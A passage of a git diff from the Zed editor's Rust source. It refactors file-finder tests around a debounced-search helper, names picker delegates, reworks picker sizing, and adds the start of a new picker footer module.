         let matches = &finder.delegate.matches.matches;
@@ -1990,7 +1990,7 @@ async fn test_history_match_positions(cx: &mut gpui::TestAppContext) {
     assert_eq!(history.len(), 1);
 
     let picker = open_file_picker(&workspace, cx);
-    cx.simulate_input("fir");
+    simulate_input(cx, "fir");
     picker.update_in(cx, |finder, window, cx| {
         let matches = &finder.delegate.matches.matches;
         assert_matches!(
@@ -3358,7 +3358,7 @@ async fn test_history_items_vs_very_good_external_match(cx: &mut gpui::TestAppCo
 
     let finder = open_file_picker(&workspace, cx);
     let query = "collab_ui";
-    cx.simulate_input(query);
+    simulate_input(cx, query);
     finder.update(cx, |picker, _| {
             let search_entries = collect_search_matches(picker).search_paths_only();
             assert_eq!(
@@ -3423,7 +3423,7 @@ async fn test_nonexistent_history_items_not_shown(cx: &mut gpui::TestAppContext)
     cx.run_until_parked();
 
     let picker = open_file_picker(&workspace, cx);
-    cx.simulate_input("rs");
+    simulate_input(cx, "rs");
 
     picker.update(cx, |picker, _| {
         assert_eq!(
@@ -3461,7 +3461,7 @@ async fn test_search_results_refreshed_on_worktree_updates(cx: &mut gpui::TestAp
 
     // Initial state
     let picker = open_file_picker(&workspace, cx);
-    cx.simulate_input("rs");
+    simulate_input(cx, "rs");
     picker.update(cx, |finder, _| {
         assert_eq!(finder.delegate.matches.len(), 3);
         assert_match_at_position(finder, 0, "lib.rs");
@@ -3554,7 +3554,7 @@ async fn test_search_results_refreshed_on_standalone_file_creation(cx: &mut gpui
     // it. Close the finder without confirming and use CloseActiveItem to close the file instead.
     let initial_history = {
         let picker = open_file_picker(&workspace, cx);
-        cx.simulate_input("new");
+        simulate_input(cx, "new");
         let history_items = picker.update(cx, |finder, _| {
             assert_eq!(
                 finder.delegate.matches.len(),
@@ -3629,7 +3629,7 @@ async fn test_search_results_refreshed_on_adding_and_removing_worktrees(
 
     // Initial state
     let picker = open_file_picker(&workspace, cx);
-    cx.simulate_input("rs");
+    simulate_input(cx, "rs");
     picker.update(cx, |finder, _| {
         assert_eq!(finder.delegate.matches.len(), 3);
         assert_match_at_position(finder, 0, "bar.rs");
@@ -3761,7 +3761,7 @@ async fn test_history_items_uniqueness_for_multiple_worktree_open_all_files(
     });
 
     let picker = open_file_picker(&workspace, cx);
-    cx.simulate_input("package.json");
+    simulate_input(cx, "package.json");
 
     picker.update(cx, |finder, _| {
         let matches = &finder.delegate.matches.matches;
@@ -3854,7 +3854,7 @@ async fn test_selected_match_stays_selected_after_matches_refreshed(cx: &mut gpu
 
     // Initial state
     let picker = open_file_picker(&workspace, cx);
-    cx.simulate_input("file");
+    simulate_input(cx, "file");
     let selected_index = 3;
     // Checking only the filename, not the whole path
     let selected_file = format!("file_{}.txt", 10 + selected_index);
@@ -3914,7 +3914,7 @@ async fn test_first_match_selected_if_previous_one_is_not_in_the_match_list(
 
     // Initial state
     let picker = open_file_picker(&workspace, cx);
-    cx.simulate_input("file");
+    simulate_input(cx, "file");
     // Select even/file_2.txt
     cx.dispatch_action(SelectNext);
 
@@ -4179,6 +4179,7 @@ async fn test_repeat_toggle_action(cx: &mut gpui::TestAppContext) {
         picker.update_matches(".txt".to_string(), window, cx)
     });
 
+    cx.executor().advance_clock(SEARCH_DEBOUNCE);
     cx.run_until_parked();
 
     picker.update(cx, |picker, _| {
@@ -4220,8 +4221,7 @@ async fn test_open_without_dismiss_keeps_finder_open(cx: &mut TestAppContext) {
     let project = Project::test(app_state.fs.clone(), [path!("/root").as_ref()], cx).await;
     let (picker, workspace, cx) = build_find_picker(project, cx);
 
-    cx.simulate_input("file");
-    cx.run_until_parked();
+    simulate_input(cx, "file");
     picker.update(cx, |picker, _| {
         assert!(
             picker.delegate.matches.len() >= 3,
@@ -4277,8 +4277,7 @@ async fn test_open_without_dismiss_opens_multiple_files(cx: &mut TestAppContext)
     let project = Project::test(app_state.fs.clone(), [path!("/root").as_ref()], cx).await;
     let (_picker, workspace, cx) = build_find_picker(project, cx);
 
-    cx.simulate_input("a");
-    cx.run_until_parked();
+    simulate_input(cx, "a");
 
     // Open the first match and stay in the finder.
     cx.dispatch_action(OpenWithoutDismiss);
@@ -4343,8 +4342,7 @@ async fn test_open_without_dismiss_then_confirm_closes_finder(cx: &mut TestAppCo
     let project = Project::test(app_state.fs.clone(), [path!("/root").as_ref()], cx).await;
     let (picker, workspace, cx) = build_find_picker(project, cx);
 
-    cx.simulate_input("t");
-    cx.run_until_parked();
+    simulate_input(cx, "t");
     picker.update(cx, |picker, _| {
         assert!(picker.delegate.matches.len() >= 2);
     });
@@ -4414,7 +4412,7 @@ async fn open_queried_buffer(
     cx: &mut gpui::VisualTestContext,
 ) -> Vec<FoundPath> {
     let picker = open_file_picker(workspace, cx);
-    cx.simulate_input(input);
+    simulate_input(cx, input);
 
     let history_items = picker.update(cx, |finder, _| {
         assert_eq!(
@@ -4427,6 +4425,10 @@ async fn open_queried_buffer(
     });
 
     cx.dispatch_action(Confirm);
+    // Opening the buffer can trigger worktree updates that schedule a debounced
+    // refresh; advance past it so a deferred confirm (confirm_on_update) runs.
+    cx.executor().advance_clock(SEARCH_DEBOUNCE);
+    cx.run_until_parked();
 
     cx.read(|cx| {
         let active_editor = workspace.read(cx).active_item_as::<Editor>(cx).unwrap();
@@ -4480,6 +4482,17 @@ fn open_file_picker(
     active_file_picker(workspace, cx)
 }
 
+/// Type `input` into the file finder and then let the debounced search run.
+///
+/// `update_matches` delays the actual search by [`SEARCH_DEBOUNCE`] (see its
+/// doc comment), and `run_until_parked` does not advance the clock, so tests
+/// must move time forward for the search to execute.
+fn simulate_input(cx: &mut VisualTestContext, input: &str) {
+    cx.simulate_input(input);
+    cx.executor().advance_clock(SEARCH_DEBOUNCE);
+    cx.run_until_parked();
+}
+
 #[track_caller]
 fn active_file_picker(
     workspace: &Entity<Workspace>,
@@ -4631,7 +4644,7 @@ async fn test_filename_precedence(cx: &mut TestAppContext) {
     let project = Project::test(app_state.fs.clone(), [path!("/src").as_ref()], cx).await;
     let (picker, _, cx) = build_find_picker(project, cx);
 
-    cx.simulate_input("layout");
+    simulate_input(cx, "layout");
 
     picker.update(cx, |finder, _| {
         let search_matches = collect_search_matches(finder).search_paths_only();
@@ -4747,7 +4760,7 @@ async fn test_clear_navigation_history(cx: &mut TestAppContext) {
 
     // Verify that file finder shows history items
     let picker = open_file_picker(&workspace, cx);
-    cx.simulate_input("fir");
+    simulate_input(cx, "fir");
     picker.update(cx, |finder, _| {
         let matches = collect_search_matches(finder);
         assert!(
@@ -4783,7 +4796,7 @@ async fn test_clear_navigation_history(cx: &mut TestAppContext) {
 
     // Verify that file finder no longer shows history items
     let picker = open_file_picker(&workspace, cx);
-    cx.simulate_input("fir");
+    simulate_input(cx, "fir");
     picker.update(cx, |finder, _| {
         let matches = collect_search_matches(finder);
         assert!(
diff --git a/crates/git_ui/src/branch_picker.rs b/crates/git_ui/src/branch_picker.rs
index 86ab692e03e216..43158a32b2aa25 100644
--- a/crates/git_ui/src/branch_picker.rs
+++ b/crates/git_ui/src/branch_picker.rs
@@ -164,7 +164,6 @@ enum BranchListStyle {
 }
 
 pub struct BranchList {
-    width: Rems,
     pub picker: Entity<Picker<BranchListDelegate>>,
     picker_focus_handle: FocusHandle,
     _subscriptions: Vec<Subscription>,
@@ -278,6 +277,9 @@ impl BranchList {
 
         let picker = cx.new(|cx| {
             Picker::uniform_list(delegate, window, cx)
+                .minimum_results_width(width)
+                .height(rems(24.))
+                .no_vertical_padding()
                 .show_scrollbar(true)
                 .modal(!embedded)
         });
@@ -340,7 +342,6 @@ impl BranchList {
         Self {
             picker,
             picker_focus_handle,
-            width,
             _subscriptions: subscriptions,
             embedded,
         }
@@ -444,7 +445,6 @@ impl Render for BranchList {
     fn render(&mut self, _: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
         v_flex()
             .key_context("GitBranchSelector")
-            .w(self.width)
             .on_modifiers_changed(cx.listener(Self::handle_modifiers_changed))
             .on_action(cx.listener(Self::handle_delete))
             .on_action(cx.listener(Self::handle_force_delete))
@@ -1047,6 +1047,10 @@ impl BranchListDelegate {
 impl PickerDelegate for BranchListDelegate {
     type ListItem = ListItem;
 
+    fn name() -> &'static str {
+        "branch picker"
+    }
+
     fn placeholder_text(&self, _window: &mut Window, _cx: &mut App) -> Arc<str> {
         match self.state {
             PickerState::List | PickerState::NewRemote | PickerState::NewBranch => {
@@ -2085,7 +2089,6 @@ mod tests {
                     BranchList {
                         picker,
                         picker_focus_handle,
-                        width: rems(34.),
                         _subscriptions: vec![_subscription],
                         embedded: false,
                     }
diff --git a/crates/git_ui/src/git_graph.rs b/crates/git_ui/src/git_graph.rs
index 47716547046c67..36b63401c432bf 100644
--- a/crates/git_ui/src/git_graph.rs
+++ b/crates/git_ui/src/git_graph.rs
@@ -139,6 +139,10 @@ struct CommitTagPickerDelegate {
 impl PickerDelegate for CommitTagPickerDelegate {
     type ListItem = ListItem;
 
+    fn name() -> &'static str {
+        "commit-tag"
+    }
+
     fn placeholder_text(&self, _window: &mut Window, _cx: &mut App) -> Arc<str> {
         "Copy Tag".into()
     }
diff --git a/crates/git_ui/src/picker_prompt.rs b/crates/git_ui/src/picker_prompt.rs
index 14daedda61ecc7..4426087683a3c6 100644
--- a/crates/git_ui/src/picker_prompt.rs
+++ b/crates/git_ui/src/picker_prompt.rs
@@ -118,6 +118,10 @@ impl PickerPromptDelegate {
 impl PickerDelegate for PickerPromptDelegate {
     type ListItem = ListItem;
 
+    fn name() -> &'static str {
+        "picker prompt"
+    }
+
     fn placeholder_text(&self, _window: &mut Window, _cx: &mut App) -> Arc<str> {
         self.prompt.clone()
     }
diff --git a/crates/git_ui/src/repository_selector.rs b/crates/git_ui/src/repository_selector.rs
index 463540de90ce20..54303bca6b0239 100644
--- a/crates/git_ui/src/repository_selector.rs
+++ b/crates/git_ui/src/repository_selector.rs
@@ -1,7 +1,6 @@
 use crate::git_status_icon;
 use git::status::{FileStatus, StatusCode, TrackedStatus, UnmergedStatus, UnmergedStatusCode};
 use gpui::{App, DismissEvent, Entity, EventEmitter, FocusHandle, Focusable, Task, WeakEntity};
-use itertools::Itertools;
 use picker::{Picker, PickerDelegate, PickerEditorPosition};
 use project::{Project, git_store::Repository};
 use std::sync::Arc;
@@ -25,7 +24,6 @@ pub fn open(
 }
 
 pub struct RepositorySelector {
-    width: Rems,
     picker: Entity<Picker<RepositorySelectorDelegate>>,
 }
 
@@ -51,13 +49,6 @@ impl RepositorySelector {
         });
         let filtered_repositories = repository_entries.clone();
 
-        let widest_item_ix = repository_entries.iter().position_max_by(|a, b| {
-            a.read(cx)
-                .display_name()
-                .len()
-                .cmp(&b.read(cx).display_name().len())
-        });
-
         let active_repository = git_store.read(cx).active_repository();
         let selected_index = active_repository
             .as_ref()
@@ -73,12 +64,13 @@ impl RepositorySelector {
 
         let picker = cx.new(|cx| {
             Picker::uniform_list(delegate, window, cx)
-                .widest_item(widest_item_ix)
-                .max_height(Some(rems(20.).into()))
+                .minimum_results_width(width)
+                .height(rems(20.))
+                .no_vertical_padding()
                 .show_scrollbar(true)
         });
 
-        RepositorySelector { picker, width }
+        RepositorySelector { picker }
     }
 }
 
@@ -125,7 +117,6 @@ impl Render for RepositorySelector {
     fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
         div()
             .key_context("GitRepositorySelector")
-            .w(self.width)
             .child(self.picker.clone())
     }
 }
@@ -159,6 +150,10 @@ impl RepositorySelectorDelegate {
 impl PickerDelegate for RepositorySelectorDelegate {
     type ListItem = ListItem;
 
+    fn name() -> &'static str {
+        "repository selector"
+    }
+
     fn match_count(&self) -> usize {
         self.filtered_repositories.len()
     }
diff --git a/crates/git_ui/src/stash_picker.rs b/crates/git_ui/src/stash_picker.rs
index 190fca9fa515d4..feaaaf7ab9fff9 100644
--- a/crates/git_ui/src/stash_picker.rs
+++ b/crates/git_ui/src/stash_picker.rs
@@ -128,6 +128,9 @@ impl StashList {
         let delegate = StashListDelegate::new(repository, workspace, window, cx);
         let picker = cx.new(|cx| {
             Picker::uniform_list(delegate, window, cx)
+                .minimum_results_width(width)
+                .height(rems(24.))
+                .no_vertical_padding()
                 .show_scrollbar(true)
                 .modal(!embedded)
         });
@@ -369,6 +372,10 @@ impl StashListDelegate {
 impl PickerDelegate for StashListDelegate {
     type ListItem = ListItem;
 
+    fn name() -> &'static str {
+        "stash picker"
+    }
+
     fn placeholder_text(&self, _window: &mut Window, _cx: &mut App) -> Arc<str> {
         "Select a stash…".into()
     }
diff --git a/crates/git_ui/src/worktree_picker.rs b/crates/git_ui/src/worktree_picker.rs
index 4cefbde5080ad4..a8e18ed9e39e31 100644
--- a/crates/git_ui/src/worktree_picker.rs
+++ b/crates/git_ui/src/worktree_picker.rs
@@ -129,7 +129,9 @@ impl WorktreePicker {
                 .list_measure_all()
                 .show_scrollbar(true)
                 .modal(false)
-                .max_height(Some(rems(20.).into()))
+                .minimum_results_width(rems(34.))
+                .height(rems(20.))
+                .no_vertical_padding()
         });
 
         let picker_focus_handle = picker.focus_handle(cx);
@@ -732,6 +734,10 @@ impl WorktreePickerDelegate {
 impl PickerDelegate for WorktreePickerDelegate {
     type ListItem = AnyElement;
 
+    fn name() -> &'static str {
+        "worktree picker"
+    }
+
     fn placeholder_text(&self, _window: &mut Window, _cx: &mut App) -> Arc<str> {
         "Select or type to create a worktree…".into()
     }
diff --git a/crates/gpui/src/geometry.rs b/crates/gpui/src/geometry.rs
index e5951a129667ce..05dafbf91e5db3 100644
--- a/crates/gpui/src/geometry.rs
+++ b/crates/gpui/src/geometry.rs
@@ -9,7 +9,7 @@ use refineable::Refineable;
 use schemars::{JsonSchema, json_schema};
 use serde::{Deserialize, Deserializer, Serialize, Serializer, de};
 use std::borrow::Cow;
-use std::ops::Range;
+use std::ops::{AddAssign, Range};
 use std::{
     cmp::{self, PartialOrd},
     fmt::{self, Display},
@@ -3238,10 +3238,16 @@ impl MulAssign<f32> for ScaledPixels {
 pub struct Rems(pub f32);
 
 impl Rems {
+    /// A length of zero.
+    pub const ZERO: Self = Self(0.0);
     /// Convert this Rem value to pixels.
     pub fn to_pixels(self, rem_size: Pixels) -> Pixels {
         self * rem_size
     }
+    /// Convert from pixels to Rem
+    pub fn from_pixels(length: Pixels, window: &gpui::Window) -> Self {
+        Self(length / window.rem_size())
+    }
 }
 
 impl Mul<Pixels> for Rems {
@@ -3252,6 +3258,12 @@ impl Mul<Pixels> for Rems {
     }
 }
 
+impl AddAssign<Rems> for Rems {
+    fn add_assign(&mut self, rhs: Rems) {
+        self.0 += rhs.0
+    }
+}
+
 impl Display for Rems {
     fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
         write!(f, "{}rem", self.0)
diff --git a/crates/gpui/src/key_dispatch.rs b/crates/gpui/src/key_dispatch.rs
index fee75d5dad39df..8188d76294f750 100644
--- a/crates/gpui/src/key_dispatch.rs
+++ b/crates/gpui/src/key_dispatch.rs
@@ -724,6 +724,66 @@ mod tests {
         assert!(highest.is_some_and(|binding| binding.action.partial_eq(&TestAction)));
     }
 
+    /// Models the picker preview footer scenario: a picker action is bound in
+    /// `Picker > Editor`, but a base keymap binds the same chord to an editor
+    /// action in `Editor`. `Picker > Editor` and `Editor` resolve at the same
+    /// context depth, so at equal depth precedence is decided purely by load
+    /// order (later wins). Because base keymaps load after the default keymap,
+    /// the picker binding is shadowed unless it is (re)bound by an overlay that
+    /// loads after the base keymap - which is exactly what
+    /// `keymaps/specific-overrides*.json` does.
+    #[test]
+    fn test_overlay_after_base_restores_shadowed_picker_binding() {
+        // SecondaryTestAction stands in for the editor/base action (e.g.
+        // editor::AddSelectionBelow), TestAction for the picker action.
+        let contexts = vec![
+            KeyContext::parse("Picker").unwrap(),
+            KeyContext::parse("Editor").unwrap(),
+        ];
+
+        // Default keymap (picker binding) followed by a base keymap that binds
+        // the same chord to an editor action: the base binding wins and the
+        // picker action is shadowed, so its footer tooltip renders no shortcut.
+        let shadowed = test_dispatch_tree(vec![
+            KeyBinding::new("ctrl-alt-down", TestAction, Some("Picker > Editor")),
+            KeyBinding::new("ctrl-alt-down", SecondaryTestAction, Some("Editor")),
+        ]);
+        let highest = shadowed.highest_precedence_binding_for_action(&TestAction, &contexts);
+        assert!(
+            highest.is_none(),
+            "picker binding should be shadowed by the base editor binding"
+        );
+
+        // Re-binding the picker action in an overlay loaded after the base keymap
+        // restores it as the resolved binding.
+        let fixed = test_dispatch_tree(vec![
+            KeyBinding::new("ctrl-alt-down", TestAction, Some("Picker > Editor")),
+            KeyBinding::new("ctrl-alt-down", SecondaryTestAction, Some("Editor")),
+            // overlay loaded last:
+            KeyBinding::new("ctrl-alt-down", TestAction, Some("Picker > Editor")),
+        ]);
+        let highest = fixed.highest_precedence_binding_for_action(&TestAction, &contexts);
+        assert!(
+            highest.is_some_and(|binding| binding.action.partial_eq(&TestAction)),
+            "overlay loaded after base should restore the picker binding"
+        );
+
+        // Conversely, putting the override in the default keymap (i.e. before the
+        // base keymap) does NOT help: the later base binding still wins at equal
+        // depth. This is why the overlay must be loaded after the base keymap.
+        let override_before_base = test_dispatch_tree(vec![
+            KeyBinding::new("ctrl-alt-down", TestAction, Some("Picker > Editor")),
+            KeyBinding::new("ctrl-alt-down", TestAction, Some("Picker > Editor")),
+            KeyBinding::new("ctrl-alt-down", SecondaryTestAction, Some("Editor")),
+        ]);
+        let highest =
+            override_before_base.highest_precedence_binding_for_action(&TestAction, &contexts);
+        assert!(
+            highest.is_none(),
+            "an override loaded before the base binding cannot win the equal-depth tie"
+        );
+    }
+
     #[test]
     fn test_pending_has_binding_state() {
         let bindings = vec![
diff --git a/crates/language/src/buffer.rs b/crates/language/src/buffer.rs
index 5b2b511192b593..413c50d2627914 100644
--- a/crates/language/src/buffer.rs
+++ b/crates/language/src/buffer.rs
@@ -43,6 +43,7 @@ use std::{
     cell::Cell,
     cmp::{self, Ordering, Reverse},
     collections::{BTreeMap, BTreeSet},
+    fmt::Write as _,
     future::Future,
     iter::{self, Iterator, Peekable},
     mem,
@@ -618,8 +619,8 @@ pub struct HighlightedText {
 }
 
 #[derive(Default, Debug)]
-struct HighlightedTextBuilder {
-    pub text: String,
+pub struct HighlightedTextBuilder {
+    text: String,
     highlights: Vec<(Range<usize>, HighlightStyle)>,
 }
 
@@ -692,6 +693,22 @@ impl HighlightedTextBuilder {
         }
     }
 
+    /// Append a displayable value to the text, highlighting its range with
+    /// `style`.
+    pub fn push_styled(&mut self, value: impl std::fmt::Display, style: HighlightStyle) {
+        let start = self.text.len();
+        let _ = write!(&mut self.text, "{value}");
+        let end = self.text.len();
+        if end > start {
+            self.highlights.push((start..end, style));
+        }
+    }
+
+    /// Append a displayable value to the text without any highlighting.
+    pub fn push_plain(&mut self, value: impl std::fmt::Display) {
+        let _ = write!(&mut self.text, "{value}");
+    }
+
     pub fn add_text_from_buffer_range<T: ToOffset>(
         &mut self,
         range: Range<T>,
diff --git a/crates/language_selector/src/language_selector.rs b/crates/language_selector/src/language_selector.rs
index cd457cb50f943b..86e48c56363315 100644
--- a/crates/language_selector/src/language_selector.rs
+++ b/crates/language_selector/src/language_selector.rs
@@ -198,6 +198,10 @@ impl LanguageSelectorDelegate {
 impl PickerDelegate for LanguageSelectorDelegate {
     type ListItem = ListItem;
 
+    fn name() -> &'static str {
+        "language selector"
+    }
+
     fn placeholder_text(&self, _window: &mut Window, _cx: &mut App) -> Arc<str> {
         "Select a language…".into()
     }
diff --git a/crates/line_ending_selector/src/line_ending_selector.rs b/crates/line_ending_selector/src/line_ending_selector.rs
index 455807565f8be5..9d7aa9e1f8fd65 100644
--- a/crates/line_ending_selector/src/line_ending_selector.rs
+++ b/crates/line_ending_selector/src/line_ending_selector.rs
@@ -115,6 +115,10 @@ impl LineEndingSelectorDelegate {
 impl PickerDelegate for LineEndingSelectorDelegate {
     type ListItem = ListItem;
 
+    fn name() -> &'static str {
+        "line ending selector"
+    }
+
     fn placeholder_text(&self, _window: &mut Window, _cx: &mut App) -> Arc<str> {
         "Select a line ending…".into()
     }
diff --git a/crates/onboarding/src/base_keymap_picker.rs b/crates/onboarding/src/base_keymap_picker.rs
index 63a2894a93504b..c989ed3ffc1cf6 100644
--- a/crates/onboarding/src/base_keymap_picker.rs
+++ b/crates/onboarding/src/base_keymap_picker.rs
@@ -102,6 +102,10 @@ impl BaseKeymapSelectorDelegate {
 impl PickerDelegate for BaseKeymapSelectorDelegate {
     type ListItem = ui::ListItem;
 
+    fn name() -> &'static str {
+        "base keymap selector"
+    }
+
     fn placeholder_text(&self, _window: &mut Window, _cx: &mut App) -> Arc<str> {
         "Select a base keymap...".into()
     }
diff --git a/crates/open_path_prompt/src/open_path_prompt.rs b/crates/open_path_prompt/src/open_path_prompt.rs
index 0b6989aca039ad..7214ba570e4990 100644
--- a/crates/open_path_prompt/src/open_path_prompt.rs
+++ b/crates/open_path_prompt/src/open_path_prompt.rs
@@ -233,7 +233,8 @@ impl OpenPathPrompt {
         workspace.toggle_modal(window, cx, |window, cx| {
             let delegate =
                 OpenPathDelegate::new(tx, lister.clone(), creating_path, cx).show_hidden();
-            let picker = Picker::uniform_list(delegate, window, cx).width(rems(34.));
+            let picker =
+                Picker::uniform_list(delegate, window, cx).minimum_results_width(rems(34.));
             let mut query = lister.default_query(cx);
             if let Some(suggested_name) = suggested_name {
                 query.push_str(&suggested_name);
@@ -258,6 +259,10 @@ impl OpenPathPrompt {
 impl PickerDelegate for OpenPathDelegate {
     type ListItem = ui::ListItem;
 
+    fn name() -> &'static str {
+        "open path prompt"
+    }
+
     fn match_count(&self) -> usize {
         let user_input = if let DirectoryState::Create { user_input, .. } = &self.directory_state {
             user_input
diff --git a/crates/open_path_prompt/src/open_path_prompt_tests.rs b/crates/open_path_prompt/src/open_path_prompt_tests.rs
index cfb06631dd6ebc..51eb33b66e73c6 100644
--- a/crates/open_path_prompt/src/open_path_prompt_tests.rs
+++ b/crates/open_path_prompt/src/open_path_prompt_tests.rs
@@ -510,7 +510,7 @@ fn build_open_path_prompt(
             };
             cx.new(|cx| {
                 let picker = Picker::uniform_list(delegate, window, cx)
-                    .width(rems(34.))
+                    .minimum_results_width(rems(34.))
                     .modal(false);
                 let query = lister.default_query(cx);
                 picker.set_query(&query, window, cx);
diff --git a/crates/outline/src/outline.rs b/crates/outline/src/outline.rs
index 516ee1c5479b5d..f1badca2ea2ecb 100644
--- a/crates/outline/src/outline.rs
+++ b/crates/outline/src/outline.rs
@@ -7,8 +7,8 @@ use editor::{MultiBufferOffset, RowHighlightOptions, SelectionEffects};
 use fuzzy_nucleo::StringMatch;
 use gpui::{
     App, Context, DismissEvent, Entity, EventEmitter, FocusHandle, Focusable, HighlightStyle,
-    ParentElement, Point, Render, Styled, StyledText, Task, TextStyle, WeakEntity, Window, div,
-    rems,
+    ParentElement, Point, Rems, Render, Styled, StyledText, Task, TextStyle, WeakEntity, Window,
+    div, rems,
 };
 use language::{Outline, OutlineItem, OutlineSearchEntry};
 use picker::{Picker, PickerDelegate};
@@ -143,7 +143,6 @@ impl ModalView for OutlineView {
 impl Render for OutlineView {
     fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
         v_flex()
-            .w(rems(34.))
             .on_action(cx.listener(
                 |_this: &mut OutlineView,
                  _: &zed_actions::outline::ToggleOutline,
@@ -180,7 +179,12 @@ impl OutlineView {
         let delegate = OutlineViewDelegate::new(cx.entity().downgrade(), outline, editor, cx);
         let picker = cx.new(|cx| {
             Picker::uniform_list(delegate, window, cx)
-                .max_height(Some(vh(0.75, window)))
+                .minimum_results_width(rems(34.))
+                .height(Rems::from_pixels(
+                    window.viewport_size().height * 0.75,
+                    window,
+                ))
+                .no_vertical_padding()
                 .show_scrollbar(true)
         });
         OutlineView { picker }
@@ -262,6 +266,10 @@ impl OutlineViewDelegate {
 impl PickerDelegate for OutlineViewDelegate {
     type ListItem = ListItem;
 
+    fn name() -> &'static str {
+        "outline view"
+    }
+
     fn placeholder_text(&self, _window: &mut Window, _cx: &mut App) -> Arc<str> {
         "Search buffer symbols...".into()
     }
diff --git a/crates/picker/Cargo.toml b/crates/picker/Cargo.toml
index 7c01e8bfaa1344..0bd29b0a2b93a9 100644
--- a/crates/picker/Cargo.toml
+++ b/crates/picker/Cargo.toml
@@ -17,16 +17,25 @@ test-support = []
 
 [dependencies]
 anyhow.workspace = true
+db.workspace = true
+editor.workspace = true
+language.workspace = true
+rope.workspace = true
 gpui.workspace = true
 menu.workspace = true
+project.workspace = true
 schemars.workspace = true
 serde.workspace = true
+serde_json.workspace = true
+settings.workspace = true
 theme.workspace = true
 theme_settings.workspace = true
 ui.workspace = true
 ui_input.workspace = true
 workspace.workspace = true
 zed_actions.workspace = true
+multi_buffer.workspace = true
+util.workspace = true
 
 [dev-dependencies]
 editor = { workspace = true, features = ["test-support"] }
diff --git a/crates/picker/src/footer.rs b/crates/picker/src/footer.rs
new file mode 100644
index 00000000000000..c3bb4d2200d272
--- /dev/null
+++ b/crates/picker/src/footer.rs
@@ -0,0 +1,228 @@
+use std::rc::Rc;
+
+use gpui::{Action, FocusHandle, Focusable};
+use ui::{ContextMenu, Divider, FluentBuilder, KeyBinding, PopoverMenu, Tooltip, prelude::*};
+
+use crate::Picker;
+use crate::PickerDelegate;
+use crate::SetPreviewBelow;
+use crate::SetPreviewRight;
+use crate::ToggleActionsMenu;
+use crate::TogglePreview;
+use crate::preview;
+
+/// Line in the Actions menu on the default footer.
+pub enum PickerAction {
+    Header(SharedString),
+    Separator,
+    Entry {
+        label: SharedString,
+        action: Box<dyn Action>,
+        toggled: Option<bool>,
+    },
+}
+
+impl PickerAction {
+    pub fn button(label: impl Into<SharedString>, action: Box<dyn Action>) -> Self {
+        Self::Entry {
+            label: label.into(),
+            action,
+            toggled: None,
+        }
+    }
+
+    /// A non-clickable section title.
+    pub fn header(label: impl Into<SharedString>) -> Self {
+        Self::Header(label.into())
+    }
+
+    /// A divider between groups of entries.
+    pub fn separator() -> Self {
+        Self::Separator
+    }
+
+    /// Make it possible to turn the previous item on and off
+    pub fn toggled(mut self, toggled: bool) -> Self {
+        if let Self::Entry { toggled: t, .. } = &mut self {
+            *t = Some(toggled);
+        }
+        self
+    }
+
+    pub(crate) fn add_to_menu(&self, menu: ContextMenu, focus_handle: &FocusHandle) -> ContextMenu {
+        match self {
+            Self::Header(label) => menu.header(label),
+            Self::Separator => menu.separator(),
+            Self::Entry {
+                label,
+                action,
+                toggled: Some(toggled),
+            } => {
+                let dispatched = action.boxed_clone();
+                let handler_focus = focus_handle.clone();
+                menu.toggleable_entry(
+                    label,
+                    *toggled,
+                    ui::IconPosition::End,
+                    Some(action.boxed_clone()),
+                    move |window, cx| {
+                        window.focus(&handler_focus, cx);
+                        window.dispatch_action(dispatched.boxed_clone(), cx);
+                    },
+                )
+            }
+            Self::Entry {
+                label,
+                action,
+                toggled: None,
+            } => menu.action(label, action.boxed_clone()),
+        }
+    }
+}
+
+impl<D: PickerDelegate> Picker<D> {
+    pub(crate) fn render_footer(
+        &self,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Option<AnyElement> {
+        if let Some(footer) = self.delegate.render_footer(window, cx) {
+            return Some(footer);
+        }
+        self.render_default_footer(window, cx)
+    }
+
+    fn render_default_footer(
+        &self,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Option<AnyElement> {
+        let actions = self.delegate.actions_menu(window, cx);
+        if self.preview.is_none() && actions.is_empty() {
+            return None;
+        }
+
+        let focus_handle = self.focus_handle(cx);
+
+        Some(
+            h_flex()
+                .w_full()
+                .p_1p5()
+                .justify_between()
+                .border_t_1()
+                .border_color(cx.theme().colors().border_variant)
+                .child(div().when(self.preview.is_some(), |this| {
+                    this.child(self.render_preview_controls(window, cx))
+                }))
+                .when(!actions.is_empty(), |this| {
+                    this.child(self.render_actions_button(actions.into(), focus_handle, window, cx))
+                })
+                .into_any_element(),
+        )
+    }
+
+    fn render_preview_controls(
+        &self,
+        _window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> impl IntoElement {
+        let focus_handle = self.focus_handle(cx);
+        let toggle_focus_handle = focus_handle.clone();
+        let right_focus_handle = focus_handle.clone();
+        let below_focus_handle = focus_handle.clone();
+        let current = self.preview_layout().unwrap_or(preview::Layout::Hidden);
+        let preview_visible = current != preview::Layout::Hidden;
+
+        h_flex()
+            .gap_1()
+            .child(
+                Button::new("picker-preview-toggle", "Preview")
+                    .when(preview_visible, |this| this.color(Color::Accent))
+                    .key_binding(
+                        KeyBinding::for_action_in(&TogglePreview, &focus_handle, cx)
+                            .size(rems_from_px(12.)),
+                    )
+                    .tooltip(move |_window, cx| {
+                        Tooltip::for_action_in(
+                            "Toggle Preview",
+                            &TogglePreview,
+                            &toggle_focus_handle,
+                            cx,
+                        )
+                    })
+                    .on_click(
+                        cx.listener(|this, _, window, cx| this.toggle_preview_visible(window, cx)),
+                    ),
+            )
+            // The layout buttons (preview to the right / below) are only relevant
+            // once the preview is showing, so hide them while it's hidden.
+            .when(preview_visible, |this| {
+                this.child(div().child(Divider::vertical().color(ui::DividerColor::Border)))
+                    .child(
+                        IconButton::new("picker-preview-right", IconName::DiffSplit)
+                            .icon_size(IconSize::Small)
+                            .toggle_state(current == preview::Layout::Right)
+                            .tooltip(move |_window, cx| {
+                                Tooltip::for_action_in(
+                                    "Preview to the Right",
+                                    &SetPreviewRight,
+                                    &right_focus_handle,
+                                    cx,
+                                )
+                            })
+                            .on_click(cx.listener(|this, _, window, cx| {
+                                this.set_preview_layout(preview::Layout::Right, window, cx)
+                            })),
+                    )
+                    .child(
+                        IconButton::new("picker-preview-below", IconName::DiffUnified)
+                            .icon_size(IconSize::Small)
